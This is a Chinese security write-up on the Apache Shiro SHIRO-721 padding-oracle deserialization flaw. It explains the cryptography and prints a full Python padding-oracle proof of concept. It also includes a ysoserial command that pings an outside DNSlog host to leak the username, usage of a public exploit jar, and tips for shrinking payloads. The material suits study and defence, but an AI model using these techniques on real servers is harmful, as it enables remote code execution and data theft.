本文由安全客首發,文章鏈接: https://www.anquanke.com/post/id/203869
安全客 - 有思想的安全新媒體
一、簡介
Shiro,Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。
Padding填充規則,我們的輸入數據長度是不規則的,因此必然需要進行“填充”才能形成完整的“塊”。簡單地說,便是根據最后一個數據塊所缺少的長度來選擇填充的內容。例如,數據塊長度要求是8字節,如果輸入的最后一個數據塊只有5個字節的數據,那么則在最后補充三個字節的0x3。如果輸入的最后一個數據塊正好為8字節長,則在最后補充一個完整的長為8字節的數據塊,每個字節填0x8。如圖-1所示,使用這個規則,我們便可以根據填充的內容來得知填充的長度,以便在解密后去除填充的字節。
Padding Oracle Attack,這種攻擊利用了服務器在 CBC(密碼塊鏈接模式)加密模式中的填充測試漏洞。如果輸入的密文不合法,類庫則會拋出異常,這便是一種提示。攻擊者可以不斷地提供密文,讓解密程序給出提示,不斷修正,最終得到的所需要的結果。其中"Oracle"一詞指的是“提示”,與甲骨文公司並無關聯。加密時可以使用多種填充規則,但最常見的填充方式之一是在PKCS#5標准中定義的規則。PCKS#5的填充方式為:明文的最后一個數據塊包含N個字節的填充數據(N取決於明文最后一塊的數據長度)。下圖是一些示例,展示了不同長度的單詞(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它們使用PKCS#5填充后的結果(每個數據塊為8字節長)。
圖-1
二、加密方式拓普
加密方式通常分為兩大類:對稱加密和非對稱加密
對稱加密又稱單密鑰加密,也就是字面意思,加密解密用的都是同一個密鑰,常見的對稱加密算法,例如DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。
非對稱加密,就是說密鑰分兩個,一個公鑰,一個私鑰,加解密過程就是公鑰加密私鑰解密和私鑰加密公鑰匙解密,常見的非對稱加密算法有,RSA、ECC(移動設備用)、Diffie-Hellman、El Gamal、DSA(數字簽名用)等。
對稱加密算法中一般分為兩種加密模式:分組加密和序列密碼
分組密碼,也叫塊加密(block cyphers),一次加密明文中的一個塊。是將明文按一定的位長分組,明文組經過加密運算得到密文組,密文組經過解密運算(加密運算的逆運算),還原成明文組。
序列密碼,也叫流加密(stream cyphers),一次加密明文中的一個位。是指利用少量的密鑰(制亂元素)通過某種復雜的運算(密碼算法)產生大量的偽隨機位流,用於對明文位流的加密。
這里舉例介紹對稱加密算法的AES分組加密的五種工作體制:
- 電碼本模式(Electronic Codebook Book (ECB))
- 密碼分組鏈接模式(Cipher Block Chaining (CBC))
- 計算器模式(Counter (CTR))
- 密碼反饋模式(Cipher FeedBack (CFB))
- 輸出反饋模式(Output FeedBack (OFB))
【一】、ECB-電碼本模式
這種模式是將明文分為若干塊等長的小段,然后對每一小段進行加密解密
【二】、CBC-密碼分組鏈接模式
跟ECB一樣,先將明文分為等長的小段,但是此時會獲取一個隨機的 “初始向量(IV)” 參與算法。正是因為IV的參入,由得相同的明文在每一次CBC加密得到的密文不同。
再看看圖中的加密原理,很像是數據結構中的鏈式結構,第一個明文塊會和IV進行異或運算,然后和密匙一起傳入加密器得到密文塊。並將該密文塊與下一個明文塊異或,以此類推。
【三】、CTR-計算器模式
計算器模式不常見,在CTR模式中, 有一個自增的算子,這個算子用密鑰(K)加密之后的輸出和明文(P)異或的結果得到密文(C),相當於一次一密。這種加密方式簡單快速,安全可靠,而且可以並行加密,但是在計算器不能維持很長的情況下,密鑰只能使用一次。
【四】、CFB-密碼反饋模式
直接看圖吧
【五】、OFB-輸出反饋模式
看圖
從上述所述的幾種工作機制中,都無一例外的將明文分成了等長的小段。所以當塊不滿足等長的時候,就會用Padding的方式來填充目標。
三、Padding Oracle攻擊原理講解
當應用程序接受到加密后的值以后,它將返回三種情況:
- 接受到正確的密文之后(填充正確且包含合法的值),應用程序正常返回(200 - OK)。
- 接受到非法的密文之后(解密后發現填充不正確),應用程序拋出一個解密異常(500 - Internal Server Error)。
- 接受到合法的密文(填充正確)但解密后得到一個非法的值,應用程序顯示自定義錯誤消息(200 - OK)。
這里從freebuf借來一張圖,上圖簡單的概述了''TEST"的解密過程,首先輸入密碼經過加解密算法可以得到一個中間結果 ,我們稱之為中間值,中間值將會和初始向量IV進行異或運算后得到明文
那么攻擊所需條件大致如下
- 擁有密文,這里的密文是“F851D6CC68FC9537”
- 知道初始向量IV
- 能夠了解實時反饋,如服務器的200、500等信息。
密文和IV其實可以通過url中的參數得到,例如有如下
http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537
上述參數中的“6D367076036E2239F851D6CC68FC9537”拆分來看就是 IV和密文的組合,所以可以得到IV是“6D367076036E2239”
再來看看CBC的解密過程
已經有IV、密文,只有Key和明文未知。再加上Padding機制。可以嘗試在IV全部為0的情況下會發生什么
Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537 Response: 500 - Internal Server Error
得到一個500異常,這是因為填充的值和填充的數量不一致
倘如發送如下數據信息的時候:
Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537 Response: 200 OK
最后的字節位上為0x01,正好滿足Padding機制的要求。
在這個情況下,我們便可以推斷出中間值(Intermediary Value)的最后一個字節,因為我們知道它和0x3C異或后的結果為0x01,於是:
因為 [Intermediary Byte] ^ 0x3C == 0x01, 得到 [Intermediary Byte] == 0x3C ^ 0x01, 所以 [Intermediary Byte] == 0x3D
以此類推,可以解密出所有的中間值
而此時塊中的值已經全部填充為0x08了,IV的值也為“317B2B2A0F622E35”
此時再將原本的IV與已經推測出的中間值進行異或就可以得到明文了
當分塊在一塊之上時,如“ENCRYPT TEST”,攻擊機制又是如何運作的呢?
其實原理還是一樣,在CBC解密時,先將密文的第一個塊進行塊解密,然后將結果與IV異或,就能得到明文,同時,本次解密的輸入密文作為下一個塊解密的IV。
不難看出,下一段明文的內容是受到上一段密文的影響的,這里附上道哥寫的一個demo

1 """ 2 Padding Oracle Attack POC(CBC-MODE) 3 Author: axis(axis@ph4nt0m.org) 4 http://hi.baidu.com/aullik5 5 2011.9 6 7 This program is based on Juliano Rizzo and Thai Duong's talk on 8 Practical Padding Oracle Attack.(http://netifera.com/research/) 9 10 For Education Purpose Only!!! 11 12 This program is free software: you can redistribute it and/or modify 13 it under the terms of the GNU General Public License as published by 14 the Free Software Foundation, either version 3 of the License, or 15 (at your option) any later version. 16 17 This program is distributed in the hope that it will be useful, 18 but WITHOUT ANY WARRANTY; without even the implied warranty of 19 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 GNU General Public License for more details. 21 22 You should have received a copy of the GNU General Public License 23 along with this program. If not, see <http://www.gnu.org/licenses/>. 24 """ 25 26 import sys 27 28 # https://www.dlitz.net/software/pycrypto/ 29 from Crypto.Cipher import * 30 import binascii 31 32 # the key for encrypt/decrypt 33 # we demo the poc here, so we need the key 34 # in real attack, you can trigger encrypt/decrypt in a complete blackbox env 35 ENCKEY = 'abcdefgh' 36 37 def main(args): 38 print 39 print "=== Padding Oracle Attack POC(CBC-MODE) ===" 40 print "=== by axis ===" 41 print "=== axis@ph4nt0m.org ===" 42 print "=== 2011.9 ===" 43 print 44 45 ######################################## 46 # you may config this part by yourself 47 iv = '12345678' 48 plain = 'aaaaaaaaaaaaaaaaX' 49 plain_want = "opaas" 50 51 # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 52 cipher = "blowfish" 53 ######################################## 54 55 block_size = 8 56 if cipher.lower() == "aes": 57 block_size = 16 58 59 if len(iv) != block_size: 60 print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!" 61 return False 62 63 print "=== Generate Target Ciphertext ===" 64 65 ciphertext = encrypt(plain, iv, cipher) 66 if not ciphertext: 67 print "[-] Encrypt Error!" 68 return False 69 70 print "[+] plaintext is: "+plain 71 print "[+] iv is: "+hex_s(iv) 72 print "[+] ciphertext is: "+ hex_s(ciphertext) 73 print 74 75 print "=== Start Padding Oracle Decrypt ===" 76 print 77 print "[+] Choosing Cipher: "+cipher.upper() 78 79 guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size) 80 81 if guess: 82 print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"]) 83 print "[+] plaintext = intermediary_value XOR original_IV" 84 print "[+] Guess plaintext is: "+guess["plaintext"] 85 print 86 87 if plain_want: 88 print "=== Start Padding Oracle Encrypt ===" 89 print "[+] plaintext want to encrypt is: "+plain_want 90 print "[+] Choosing Cipher: "+cipher.upper() 91 92 en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size) 93 94 if en: 95 print "[+] Encrypt Success!" 96 print "[+] The ciphertext you want is: "+hex_s(en[block_size:]) 97 print "[+] IV is: "+hex_s(en[:block_size]) 98 print 99 100 print "=== Let's verify the custom encrypt result ===" 101 print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:" 102 de = decrypt(en[block_size:], en[:block_size], cipher) 103 if de == add_PKCS5_padding(plain_want, block_size): 104 print de 105 print "[+] Bingo!" 106 else: 107 print "[-] It seems something wrong happened!" 108 return False 109 110 return True 111 else: 112 return False 113 114 115 def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8): 116 # the last block 117 guess_cipher = ciphertext[0-block_size:] 118 119 plaintext = add_PKCS5_padding(plaintext, block_size) 120 print "[*] After padding, plaintext becomes to: "+hex_s(plaintext) 121 print 122 123 block = len(plaintext) 124 iv_nouse = iv # no use here, in fact we only need intermediary 125 prev_cipher = ciphertext[0-block_size:] # init with the last cipher block 126 while block > 0: 127 # we need the intermediary value 128 tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False) 129 130 # calculate the iv, the iv is the ciphertext of the previous block 131 prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] ) 132 133 #save result 134 guess_cipher = prev_cipher + guess_cipher 135 136 block = block - block_size 137 138 return guess_cipher 139 140 141 def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True): 142 # split cipher into blocks; we will manipulate ciphertext block by block 143 cipher_block = split_cipher_block(ciphertext, block_size) 144 145 if cipher_block: 146 result = {} 147 result["intermediary"] = '' 148 result["plaintext"] = '' 149 150 counter = 0 151 for c in cipher_block: 152 if debug: 153 print "[*] Now try to decrypt block "+str(counter) 154 print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c) 155 print 156 # padding oracle to each block 157 guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug) 158 159 if guess: 160 iv = c 161 result["intermediary"] += guess["intermediary"] 162 result["plaintext"] += guess["plaintext"] 163 if debug: 164 print 165 print "[+] Block "+str(counter)+" decrypt!" 166 print "[+] intermediary value is: "+hex_s(guess["intermediary"]) 167 print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"] 168 print 169 counter = counter+1 170 else: 171 print "[-] padding oracle decrypt error!" 172 return False 173 174 return result 175 else: 176 print "[-] ciphertext's block_size is incorrect!" 177 return False 178 179 def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True): 180 result = {} 181 plain = '' 182 intermediary = [] # list to save intermediary 183 iv_p = [] # list to save the iv we found 184 185 for i in range(1, block_size+1): 186 iv_try = [] 187 iv_p = change_iv(iv_p, intermediary, i) 188 189 # construct iv 190 # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found) 191 for k in range(0, block_size-i): 192 iv_try.append("\x00") 193 194 # bruteforce iv byte for padding oracle 195 # 1 bytes to bruteforce, then append the rest bytes 196 iv_try.append("\x00") 197 198 for b in range(0,256): 199 iv_tmp = iv_try 200 iv_tmp[len(iv_tmp)-1] = chr(b) 201 202 iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp) 203 204 # append the result of iv, we've just calculate it, saved in iv_p 205 for p in range(0,len(iv_p)): 206 iv_tmp_s += iv_p[len(iv_p)-1-p] 207 208 # in real attack, you have to replace this part to trigger the decrypt program 209 #print hex_s(iv_tmp_s) # for debug 210 plain = decrypt(ciphertext, iv_tmp_s, cipher) 211 #print hex_s(plain) # for debug 212 213 # got it! 214 # in real attack, you have to replace this part to the padding error judgement 215 if check_PKCS5_padding(plain, i): 216 if debug: 217 print "[*] Try IV: "+hex_s(iv_tmp_s) 218 print "[*] Found padding oracle: " + hex_s(plain) 219 iv_p.append(chr(b)) 220 intermediary.append(chr(b ^ i)) 221 222 break 223 224 plain = '' 225 for ch in range(0, len(intermediary)): 226 plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) ) 227 228 result["plaintext"] = plain 229 result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1] 230 return result 231 232 # save the iv bytes found by padding oracle into a list 233 def change_iv(iv_p, intermediary, p): 234 for i in range(0, len(iv_p)): 235 iv_p[i] = chr( ord(intermediary[i]) ^ p) 236 return iv_p 237 238 def split_cipher_block(ciphertext, block_size=8): 239 if len(ciphertext) % block_size != 0: 240 return False 241 242 result = [] 243 length = 0 244 while length < len(ciphertext): 245 result.append(ciphertext[length:length+block_size]) 246 length += block_size 247 248 return result 249 250 251 def check_PKCS5_padding(plain, p): 252 if len(plain) % 8 != 0: 253 return False 254 255 # convert the string 256 plain = plain[::-1] 257 ch = 0 258 found = 0 259 while ch < p: 260 if plain[ch] == chr(p): 261 found += 1 262 ch += 1 263 264 if found == p: 265 return True 266 else: 267 return False 268 269 def add_PKCS5_padding(plaintext, block_size): 270 s = '' 271 if len(plaintext) % block_size == 0: 272 return plaintext 273 274 if len(plaintext) < block_size: 275 padding = block_size - len(plaintext) 276 else: 277 padding = block_size - (len(plaintext) % block_size) 278 279 for i in range(0, padding): 280 plaintext += chr(padding) 281 282 return plaintext 283 284 def decrypt(ciphertext, iv, cipher): 285 # we only need the padding error itself, not the key 286 # you may gain padding error info in other ways 287 # in real attack, you may trigger decrypt program 288 # a complete blackbox environment 289 key = ENCKEY 290 291 if cipher.lower() == "des": 292 o = DES.new(key, DES.MODE_CBC,iv) 293 elif cipher.lower() == "aes": 294 o = AES.new(key, AES.MODE_CBC,iv) 295 elif cipher.lower() == "des3": 296 o = DES3.new(key, DES3.MODE_CBC,iv) 297 elif cipher.lower() == "blowfish": 298 o = Blowfish.new(key, Blowfish.MODE_CBC,iv) 299 elif cipher.lower() == "cast": 300 o = CAST.new(key, CAST.MODE_CBC,iv) 301 elif cipher.lower() == "arc2": 302 o = ARC2.new(key, ARC2.MODE_CBC,iv) 303 else: 304 return False 305 306 if len(iv) % 8 != 0: 307 return False 308 309 if len(ciphertext) % 8 != 0: 310 return False 311 312 return o.decrypt(ciphertext) 313 314 315 def encrypt(plaintext, iv, cipher): 316 key = ENCKEY 317 318 if cipher.lower() == "des": 319 if len(key) != 8: 320 print "[-] DES key must be 8 bytes long!" 321 return False 322 o = DES.new(key, DES.MODE_CBC,iv) 323 elif cipher.lower() == "aes": 324 if len(key) != 16 and len(key) != 24 and len(key) != 32: 325 print "[-] AES key must be 16/24/32 bytes long!" 326 return False 327 o = AES.new(key, AES.MODE_CBC,iv) 328 elif cipher.lower() == "des3": 329 if len(key) != 16: 330 print "[-] Triple DES key must be 16 bytes long!" 331 return False 332 o = DES3.new(key, DES3.MODE_CBC,iv) 333 elif cipher.lower() == "blowfish": 334 o = Blowfish.new(key, Blowfish.MODE_CBC,iv) 335 elif cipher.lower() == "cast": 336 o = CAST.new(key, CAST.MODE_CBC,iv) 337 elif cipher.lower() == "arc2": 338 o = ARC2.new(key, ARC2.MODE_CBC,iv) 339 else: 340 return False 341 342 plaintext = add_PKCS5_padding(plaintext, len(iv)) 343 344 return o.encrypt(plaintext) 345 346 def xor_str(a,b): 347 if len(a) != len(b): 348 return False 349 350 c = '' 351 for i in range(0, len(a)): 352 c += chr( ord(a[i]) ^ ord(b[i]) ) 353 354 return c 355 356 def hex_s(str): 357 re = '' 358 for i in range(0,len(str)): 359 re += "\\x"+binascii.b2a_hex(str[i]) 360 return re 361 362 if __name__ == "__main__": 363 main(sys.argv)
四、Shiro反序列化復現
該漏洞是Apache Shiro的issue編號為SHIRO-721的漏洞
官網給出的詳情是:
RememberMe使用AES-128-CBC模式加密,容易受到Padding Oracle攻擊,AES的初始化向量iv就是rememberMe的base64解碼后的前16個字節,攻擊者只要使用有效的RememberMe cookie作為Padding Oracle Attack 的前綴,然后就可以構造RememberMe進行反序列化攻擊,攻擊者無需知道RememberMe加密的密鑰。
相對於之前的SHIRO-550來說,這次的攻擊者是無需提前知道加密的密鑰。
Shiro-721所影響的版本:
1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1
復現漏洞首先就是搭建環境,我這里從網上整了一個Shiro1.4.1的版本,漏洞環境鏈接:https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war
先登陸抓包看一下
此時有個RememberMe的功能,啟用登陸后會set一個RememberMe的cookie
我在網上找到一個利用腳本,我就用這個腳本來切入分析
腳本地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
首先利用ceye.io來搞一個DNSlog。來作為yaoserial生成的payload
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "ping %USERNAME%.jdjwu7.ceye.io" > payload.class
用法如下:
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
因為Shiro是用AES-CBC加密模式,所以blockSize的大小就是16
運行后會在后台不斷爆破,payload越長所需爆破時間就越長。
將爆破的結果復制替換之前的cookie
就能成功觸發payload收到回信了
五、Shiro反序列化分析
還是結合代碼來理解會更好的了解到漏洞的原理。
shrio處理Cookie的時候有專門的類----CookieRememberMeManager,而CookieRememberMeManager是繼承與AbstractRememberMeManager
在AbstractRememberMeManager類中有如下一段代碼
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
其中getRememberedSerializedIdentity函數解密了base64,跟進去看看
1 protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { 2 3 if (!WebUtils.isHttp(subjectContext)) { 4 if (log.isDebugEnabled()) { 5 String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + 6 "servlet request and response in order to retrieve the rememberMe cookie. Returning " + 7 "immediately and ignoring rememberMe operation."; 8 log.debug(msg); 9 } 10 return null; 11 } 12 13 WebSubjectContext wsc = (WebSubjectContext) subjectContext; 14 if (isIdentityRemoved(wsc)) { 15 return null; 16 } 17 18 HttpServletRequest request = WebUtils.getHttpRequest(wsc); 19 HttpServletResponse response = WebUtils.getHttpResponse(wsc); 20 21 String base64 = getCookie().readValue(request, response); 22 // Browsers do not always remove cookies immediately (SHIRO-183) 23 // ignore cookies that are scheduled for removal 24 if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null; 25 26 if (base64 != null) { 27 base64 = ensurePadding(base64); 28 if (log.isTraceEnabled()) { 29 log.trace("Acquired Base64 encoded identity [" + base64 + "]"); 30 } 31 byte[] decoded = Base64.decode(base64); 32 if (log.isTraceEnabled()) { 33 log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes."); 34 } 35 return decoded; 36 } else { 37 //no cookie set - new site visitor? 38 return null; 39 } 40 }
該函數在21行處讀取Cookie中的值,並在31行decode傳入的Cookie
在接着看剛才的getRememberedPrincipals函數,解密后的數組進入了convertBytesToPrincipals
principals = convertBytesToPrincipals(bytes, subjectContext);
1 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { 2 if (getCipherService() != null) { 3 bytes = decrypt(bytes); 4 } 5 return deserialize(bytes); 6 }
getCipherService()是返回了CipherService實例
該實例在被初始化的時候就已經確定為AES實例
並在getCipherService()返回不為空,調用this.decrypt()
再跟進后發現進入了JcaCipherService的decrypt方法
1 public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { 2 3 byte[] encrypted = ciphertext; 4 5 //No IV, check if we need to read the IV from the stream: 6 byte[] iv = null; 7 8 if (isGenerateInitializationVectors(false)) { 9 try { 10 //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it 11 //is: 12 // - the first N bytes is the initialization vector, where N equals the value of the 13 // 'initializationVectorSize' attribute. 14 // - the remaining bytes in the method argument (arg.length - N) is the real cipher text. 15 16 //So we need to chunk the method argument into its constituent parts to find the IV and then use 17 //the IV to decrypt the real ciphertext: 18 19 int ivSize = getInitializationVectorSize(); 20 int ivByteSize = ivSize / BITS_PER_BYTE; 21 22 //now we know how large the iv is, so extract the iv bytes: 23 iv = new byte[ivByteSize]; 24 System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); 25 26 //remaining data is the actual encrypted ciphertext. Isolate it: 27 int encryptedSize = ciphertext.length - ivByteSize; 28 encrypted = new byte[encryptedSize]; 29 System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize); 30 } catch (Exception e) { 31 String msg = "Unable to correctly extract the Initialization Vector or ciphertext."; 32 throw new CryptoException(msg, e); 33 } 34 } 35 36 return decrypt(encrypted, key, iv); 37 }
其中ivSize是128,BITS_PER_BYTE是8,所以iv的長度就是16
並且將數組的前16為取作為IV,然后再傳入下一個解密方法
private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException { if (log.isTraceEnabled()) { log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0)); } byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE); return decrypted == null ? null : ByteSource.Util.bytes(decrypted); }
這里的crypt方法會檢測填充是否正確
將處理后的數據一步步返回給convertBytesToPrincipals方法中的deserialize(bytes)
其實就是org.apache.shiro.io.DefaultSerializer的deserialize方法
造成最終的反序列化漏洞。
六、利用代碼分析
我本來想直接貼代碼注釋的,但是想了想,不如用圖文並茂的方式來呈現。更能讓讀者理解,同時也能激發讀者的空間想象力帶入到程序的運行步驟中。
就先從encrypt方法開始吧
1 public String encrypt(byte[] nextBLock) throws Exception { 2 logger.debug("Start encrypt data..."); 3 byte[][] plainTextBlocks = ArrayUtil.splitBytes(this.plainText, this.blockSize); //按blocksize大小分割plainText 4 5 if (nextBLock == null || nextBLock.length == 0 || nextBLock.length != this.blockSize) { 6 logger.warn("You provide block's size is not equal blockSize,try to reset it..."); 7 nextBLock = new byte[this.blockSize]; 8 } 9 byte randomByte = (byte) (new Random()).nextInt(127); 10 Arrays.fill(nextBLock, randomByte); 11 12 byte[] result = nextBLock; 13 byte[][] reverseplainTextBlocks = ArrayUtil.reverseTwoDimensionalBytesArray(plainTextBlocks);//反轉數組順序 14 this.encryptBlockCount = reverseplainTextBlocks.length; 15 logger.info(String.format("Total %d blocks to encrypt", this.encryptBlockCount)); 16 17 for (byte[] plainTextBlock : reverseplainTextBlocks) { 18 nextBLock = this.getBlockEncrypt(plainTextBlock, nextBLock); //加密塊, 19 result = ArrayUtil.mergerArray(nextBLock, result); //result中容納每次加密后的內容 20 21 this.encryptBlockCount -= 1; 22 logger.info(String.format("Left %d blocks to encrypt", this.encryptBlockCount)); 23 } 24 25 logger.info(String.format("Generate payload success, send request count => %s", this.requestCount)); 26 27 return Base64.getEncoder().encodeToString(result); 28 }
傳進來的參數是null,所以nextBLock的值是由random偽隨機函數生成的,然后反轉數組中的順序
這里將分好塊的payload帶入到getBlockEncrypt方法中
private byte[] getBlockEncrypt(byte[] PlainTextBlock, byte[] nextCipherTextBlock) throws Exception { byte[] tmpIV = new byte[this.blockSize]; byte[] encrypt = new byte[this.blockSize]; Arrays.fill(tmpIV, (byte) 0); //初始化tmpIV for (int index = this.blockSize - 1; index >= 0; index--) { tmpIV[index] = this.findCharacterEncrypt(index, tmpIV, nextCipherTextBlock); //函數返回測試成功后的中間值 logger.debug(String.format("Current string => %s, the %d block", ArrayUtil.bytesToHex(ArrayUtil.mergerArray(tmpIV, nextCipherTextBlock)), this.encryptBlockCount)); } for (int index = 0; index < this.blockSize; index++) { encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]); //中間值與明文塊異或得到IV,也就是上一個加密塊的密文 } return encrypt; }
將tmpIV全部初始為0,記住這里循環了blockSize次
接着往下跟this.findCharacterEncrypt()
1 private byte findCharacterEncrypt(int index, byte[] tmpIV, byte[] nextCipherTextBlock) throws Exception { 2 if (nextCipherTextBlock.length != this.blockSize) { 3 throw new Exception("CipherTextBlock size error!!!"); 4 } 5 6 byte paddingByte = (byte) (this.blockSize - index); //本次需要填充的字節 7 byte[] preBLock = new byte[this.blockSize]; 8 Arrays.fill(preBLock, (byte) 0); 9 10 for (int ix = index; ix < this.blockSize; ix++) { 11 preBLock[ix] = (byte) (paddingByte ^ tmpIV[ix]); //更新IV 12 } 13 14 for (int c = 0; c < 256; c++) { 15 //nextCipherTextBlock[index] < 256,那么在這個循環結果中構成的結果還是range(1,256) 16 //所以下面兩種寫法都是正確的,當時看到原作者使用的是第一種方式有點迷,測試了下都可以 17 // preBLock[index] = (byte) (paddingByte ^ nextCipherTextBlock[index] ^ c); 18 preBLock[index] = (byte) c; 19 20 byte[] tmpBLock1 = Base64.getDecoder().decode(this.loginRememberMe); //RememberMe數據 21 byte[] tmpBlock2 = ArrayUtil.mergerArray(preBLock, nextCipherTextBlock); //臟數據 22 byte[] tmpBlock3 = ArrayUtil.mergerArray(tmpBLock1, tmpBlock2); 23 String remeberMe = Base64.getEncoder().encodeToString(tmpBlock3); 24 if (this.checkPaddingAttackRequest(remeberMe)) { 25 return (byte) (preBLock[index] ^ paddingByte); //返回中間值 26 } 27 } 28 throw new Exception("Occurs errors when find encrypt character, could't find a suiteable Character!!!"); 29 }
因為需要爆破的塊是第幾塊所填充的字節就是多少,所以這里用blockSize-index算出本次循環需要填充的字節數
然后在10行的循環處,是為了每次爆破完上一個IV,將計算出的中間值更新到tmpIV中,此時計算下一個時候只需要與下一個要匹配的值異或就能得到本次的IV。(如果這里沒理解透的一定要多看幾遍Padding填充原理)
接下來就是爆破,循環256次依次爆破出正確的IV值。
這里的mergerArray方法就是將參數二銜接到參數一的后面,組成一個新的字節數組
這里借助安全客上的一張圖:
可以了解到之后所填充的臟數據是對反序列化沒有影響的,通過這個機制就可以在之前的cookie上來運行Padding Oracle測試
如下便是加密第一個payload塊時候所生成的臟數據
隨后通過checkPaddingAttackRequest發送數據包測試,如果成功將IV與當前的填充字節異或就能得到中間值返回
當本塊所有IV都推測出之后與payload異或
for (int index = 0; index < this.blockSize; index++) { encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]); //中間值與明文塊異或得到IV,也就是上一個加密塊的密文 }
因為經費有限,搞到一個模糊但是直觀的思維導圖。
將所有的加密塊加密后在經過Base64編碼輸出,就能得到完整利用的RememberMe Cookie了
七、給Payload瘦身
因為加密密文塊按照所划分的16個字節一塊,如果一個3kb的payload所划分,能划分1024*3/16=192塊!
所以payload的大小直接的影響了攻擊所需成本(時間)
閱讀先知的文章了解到,文章鏈接:https://xz.aliyun.com/t/6227
只需要將下述代碼更改(注釋是需要更改的代碼)
public static class StubTransletPayload {} /* *PayloadMini public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } */
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes}); /* *PayloadMini Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); */
然后重寫打包yaoserial生成之前的payload
字節:2787kb -> 1402kb
直接從175塊瘦身到了88塊!
同時payload也能成功運行!
Reference:
- https://www.cnblogs.com/wh4am1/p/6557184.html
- https://blog.csdn.net/qq_25816185/article/details/81626499
- https://github.com/wuppp/shiro_rce_exp/blob/master/paddingoracle.py
- https://www.anquanke.com/post/id/192819
- 《白帽子講Web安全》,吳翰清著
- https://www.freebuf.com/articles/web/15504.html
- https://issues.apache.org/jira/browse/SHIRO-721
- https://github.com/longofo/PaddingOracleAttack-Shiro-721
- https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war
- https://www.anquanke.com/post/id/193165
- https://xz.aliyun.com/t/6227